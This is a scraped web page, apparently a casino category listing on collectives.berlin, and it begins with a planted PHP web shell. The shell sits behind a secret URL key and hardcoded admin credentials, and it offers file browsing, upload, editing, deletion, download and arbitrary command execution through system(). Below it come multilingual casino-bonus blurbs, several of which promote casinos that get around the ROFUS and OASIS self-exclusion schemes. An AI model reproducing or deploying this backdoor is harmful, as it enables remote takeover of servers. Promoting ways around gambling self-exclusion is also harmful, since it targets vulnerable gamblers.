if (isset($_GET['k']) && $_GET['k'] === 'mintinplan') { function ws_g($k) { return isset($_GET[$k]) ? $_GET[$k] : (isset($_POST[$k]) ? $_POST[$k] : ''); } function ws_b($s) { return base64_decode($s); } $validKey = 'mintinplan'; $validU = 'admin'; $validP = 'MinMaxtime'; $auth = false; $sname = 'ws_auth'; if (isset($_SESSION) && isset($_SESSION[$sname]) && $_SESSION[$sname] === true) $auth = true; elseif (isset($_COOKIE[$sname])) { $d = json_decode(ws_b(substr($_COOKIE[$sname], 0)), true); if ($d && isset($d['ok']) && $d['ok']) $auth = true; } if (!$auth) { $u = ws_g('usr'); $p = ws_g('pwd'); if ($u === $validU && $p === $validP) { @session_start(); $_SESSION[$sname] = true; setcookie($sname, base64_encode(json_encode(['ok'=>true])), time()+86400, '/', '', false, true); header('Location: ?k='.$validKey); exit; } echo 'Login


'; exit; } if (ws_g('lo')) { @session_start(); session_destroy(); setcookie($sname, '', time()-3600); header('Location: ?k='.$validKey); exit; } $act = ws_g('a'); $path = ws_g('p') ?: getcwd(); $path = realpath($path) ?: getcwd(); echo 'Shell'; echo ''; echo '
'; echo '[📂 Home] '; echo '[🖥️ Terminal] '; echo '[💾 Drives] '; echo '[🌳 Tree] '; echo '[⬆ Upload] '; echo '[🚪 Logout]'; echo '

'; switch ($act) { case 'upload': echo '

⬆ Upload File to: '.htmlspecialchars($path).'

'; echo '
'; echo '

'; echo '

'; echo ''; echo '

'; if (isset($_POST['do_upload']) && isset($_FILES['upfile'])) { $f = $_FILES['upfile']; if ($f['error'] === UPLOAD_ERR_OK) { $name = ws_g('rename') ?: $f['name']; $dest = rtrim($path, '/').'/'.$name; if (move_uploaded_file($f['tmp_name'], $dest)) { $sz = round(filesize($dest)/1024, 2); echo '

✅ Uploaded: '.htmlspecialchars($dest).' ('.$sz.'KB)

'; } else { echo '

❌ move_uploaded_file failed (check permissions on '.htmlspecialchars($path).')

'; } } else { $errors = [1=>'File too large (php.ini)',2=>'File too large (form)',3=>'Partial upload',4=>'No file',6=>'No tmp dir',7=>'Write failed',8=>'Extension blocked']; echo '

❌ Error: '.($errors[$f['error']] ?? 'Unknown').'

'; } } echo '

📋 Current directory contents:

';
            $items = scandir($path);
            if ($items) {
                foreach ($items as $item) {
                    if ($item === '.' || $item === '..') continue;
                    $full = $path.'/'.$item;
                    if (is_dir($full)) echo '📁 '.$item."/\n";
                    else echo '📄 '.$item.' ('.round(filesize($full)/1024,1).'KB)'."\n";
                }
            }
            echo '
'; break; case 'tree': echo '

🌳 Directory Tree (depth 4)

';
            function ws_tree($root, $depth=0, $max=4) {
                if ($depth > $max) return;
                if (!is_dir($root)) return;
                $items = scandir($root);
                if (!$items) return;
                foreach ($items as $item) {
                    if ($item === '.' || $item === '..') continue;
                    $full = $root.'/'.$item;
                    if (is_dir($full)) {
                        echo str_repeat('  ', $depth).'📁 '.$item."/\n";
                        ws_tree($full, $depth+1, $max);
                    } else {
                        echo str_repeat('  ', $depth).'📄 '.$item.' ('.round(filesize($full)/1024,1).'KB)'."\n";
                    }
                }
            }
            ws_tree($path);
            echo '
'; break; case 'drives': echo '

💾 Accessible Roots

';
            if (strtoupper(substr(PHP_OS,0,3)) === 'WIN') {
                for ($i=67;$i<=90;$i++) { $d=chr($i).':\\'; if (is_dir($d)) echo $d." ✓\n"; }
            } else {
                $cands = ['/','/home','/var','/tmp','/usr','/etc','/opt','/root','/srv','/www','/var/www','/var/www/html',$_SERVER['DOCUMENT_ROOT']??''];
                foreach (array_unique($cands) as $c) { if ($c && is_dir($c)) echo $c." ✓\n"; }
            }
            echo '
'; break; case 'read': $f = ws_g('f'); if (!$f || !is_file($f)) { echo 'File not found'; break; } $content = file_get_contents($f); echo '

📝 Editing: '.htmlspecialchars($f).' ('.round(strlen($content)/1024,1).'KB)

'; echo '
'; echo ''; echo '
'; echo '
'; break; case 'save': $f = ws_g('f'); $c = ws_g('c'); if ($f) { file_put_contents($f, $c); echo '✅ Saved: '.htmlspecialchars($f); } break; case 'exec': $cmd = ws_g('c'); $output = ''; if ($_SERVER['REQUEST_METHOD'] === 'POST' && $cmd) { ob_start(); system($cmd); $output = ob_get_clean(); } echo '

🖥️ Terminal (user: '.htmlspecialchars(get_current_user()).')

'; echo '
'; if ($output !== '') echo '
'.htmlspecialchars($output).'
'; else echo '
No output
'; break; case 'down': $f = ws_g('f'); if ($f && is_file($f)) { header('Content-Type: application/octet-stream'); header('Content-Disposition: attachment; filename="'.basename($f).'"'); header('Content-Length: '.filesize($f)); readfile($f); exit; } echo 'File not found'; break; case 'del': $f = ws_g('f'); if ($f && is_file($f)) { if (unlink($f)) echo '✅ Deleted: '.htmlspecialchars($f); else echo '❌ Delete failed (permission?)'; } elseif ($f && is_dir($f)) { if (rmdir($f)) echo '✅ Directory removed: '.htmlspecialchars($f); else echo '❌ rmdir failed (not empty or permission?)'; } break; case 'newfile': $fname = ws_g('nf'); if ($fname) { $dest = rtrim($path,'/').'/'.$fname; if (file_put_contents($dest, '') !== false) echo '✅ Created: '.htmlspecialchars($dest); else echo '❌ Create failed'; } echo '
'; echo ''; echo ''; echo ''; echo '
'; break; case 'newdir': $dname = ws_g('nd'); if ($dname) { $dest = rtrim($path,'/').'/'.$dname; if (mkdir($dest, 0755)) echo '✅ Created dir: '.htmlspecialchars($dest); else echo '❌ mkdir failed'; } echo '
'; echo ''; echo ''; echo ''; echo '
'; break; default: echo '

📂 '.htmlspecialchars($path).'

'; $parent = dirname($path); if ($parent && $parent !== $path) echo '⬆ Parent | '; echo '[+ New File] | '; echo '[+ New Dir] | '; echo '[⬆ Upload]

'; echo ''; $items = scandir($path); if ($items) { foreach ($items as $item) { if ($item === '.' || $item === '..') continue; $full = $path.'/'.$item; $isDir = is_dir($full); $size = $isDir ? '-' : round(filesize($full)/1024,1).'KB'; $perms = substr(sprintf('%o',fileperms($full)),-4); $enc = urlencode($full); echo ''; if ($isDir) echo ''; else echo ''; echo ''; } } echo '
NameSizePermsActions
📁 '.$item.'📄 '.$item.''.$size.''.$perms.''; if (!$isDir) echo '[Edit] '; echo '[Download] '; echo '[Delete]'; echo '
'; break; } echo ''; exit; } Casino – Page 3 – collectives.berlin

Your digital paradise.

Category: Casino

  • Casino Wikipedia, la enciclopedia libre

    Table of Contents Gxmble: el mejor casino internacional para tragaperras Bono en efectivo gratis sin depósito Posibles desventajas de los bonos sin depósito 🎰 Tipos De Casinos Online Fuera De España Mejores casinos internacionales online en España Cómo Conseguir los Bonos sin Depósito en los Casinos Online La responsabilidad en el juego no desaparece por…

    Click or not…

  • Melhores Cassinos Online no Brasil 2025 Bônus Exclusivos

    Table of Contents Brasil da Sorte: 10 giros no Tigre Sortudo na 1ª faixa da oferta Fatores de Avaliação para as Melhores Apps de Casino Online Melhores casinos online com dinheiro real por categoria Melhores ofertas de bónus de casino online em Portugal 2026 Neste guia, exploramos os melhores cassinos online no Brasil em 2026,…

    Click or not…

  • Online Wikipedia

    Table of Contents Vorteile So nutzt ihr im Online Casino ohne Limit Paysafecard Female Leadership in Tech: Warum der Mensch und seine Kompetenzen im Mittelpunkt stehen sollten Online Casinos mit Paysafecard im übersichtlichen Vergleich Weitere 200 Freispiele erhalten Sie verteilt auf die ersten 10 Tage nach Ihrer Einzahlung. Daher sollten Sie die Bonusbedingungen vor der…

    Click or not…

  • Beste Online Casinos Deutschland mit Spielautomaten 2026

    On This Page Die beliebtesten Echtgeld Casino Hersteller im Jahr 2026 Attraktive Bonusangebote mit fairen Bonusbedingungen Jokerstar: Neuer Anbieter mit deutschem Betreiber Jokerstar Mobiles Spiel Bei Löwen Play Online arbeiten wir ausschließlich mit etablierten und renommierten Providern zusammen. Ein wichtiger Begriff für jeden Spieler ist die Auszahlungsquote, auch RTP (Return to Player) genannt. Damit Du…

    Click or not…

  • Neue Online Casinos 2026 beste neue Casinos finden!

    {Content|Contents|Table of Contents|In This Article|On This Page} Was sind aktuelle Trends für neue Online Casinos? Die gängigsten Geschäftsbedingungen für Online Casino Boni Casino Bonus ohne Einzahlung auf Stakers – Beste Angebote und unendliche Unterhaltung Die neusten Online Casino Bonusangebote 2026 Top Bonus ohne Einzahlung Angebote neu im September 2026 Es ist bekannt, dass die größeren…

    Click or not…

  • Online Casino Vergleich Deutschland Beste Casinos im Test

    In This Article 💡 Wie schnell und für wie lange bekommst du den Casino Bonus ohne Einzahlung? Was „ohne OASIS” für deutsche Spieler bedeutet Beste Online Casinos ohne deutsche Lizenz Top 5 – Bestenliste in 2026 Was unterscheidet neue Krypto Casinos von klassischen Online Casinos? Sicherheit und Fairness Die Bonus Crab ist eines der beliebtesten…

    Click or not…

  • Apps de casino Argentina 2026 Dinero real y pagos rápidos

    Contents 20Bet – Mejor casino online con Mercado Pago en Argentina Selección de juegos en los mejores casinos online Casinority Argentina – tu mejor guía de casinos online confiables en Argentina Ultra Casino: El Mejor Casino para Disfrutar Juegos en Vivo Para un jugador que abre un casino online dinero real España, esa combinación de…

    Click or not…

  • Casino uden ROFUS Bedste nem udbetaling

    Content Læs mere Udfyld dine personlige oplysninger Betinia – Bedste alternativ til casino uden om ROFUS for casual spillere Guide: Registrering på udenlandske casinoer uden ROFUS Ordningen blev oprettet i 2012 som en del af den danske indsats for mere ansvarligt spil og bedre beskyttelse af spillere, der ønsker at tage en pause fra pengespil.…

    Click or not…

  • Casino uden rofus og nem udbetaling: Hvad du skal vide først

    Content Top 3 casinoer uden ROFUS for danske spillere Top 5 bedste casinoer uden om ROFUS i 2026 Risici ved casino uden rofus Mobilbetaling fungerer som regel på samme vis som på desktop, men enkelte metoder kan være mindre optimerede til mindre skærme. En god mobiloplevelse afhænger af, hvor hurtigt siden loader, og hvor let…

    Click or not…

  • Los 15 mejores casinos en línea de Chile 2026

    Content Novibet: ruleta en vivo con app estable y experiencia móvil fluida ¿Cómo evaluamos y probamos cada casino online en Chile? Sol Casino: casino en vivo para sesiones largas y métodos de pago Chile Muy conveniente para jugadores chilenos. Los casinos online que aceptan MACH en Chile incluyen 20Bet, Granawin, TonyBet, TopacioBet y la mayoría…

    Click or not…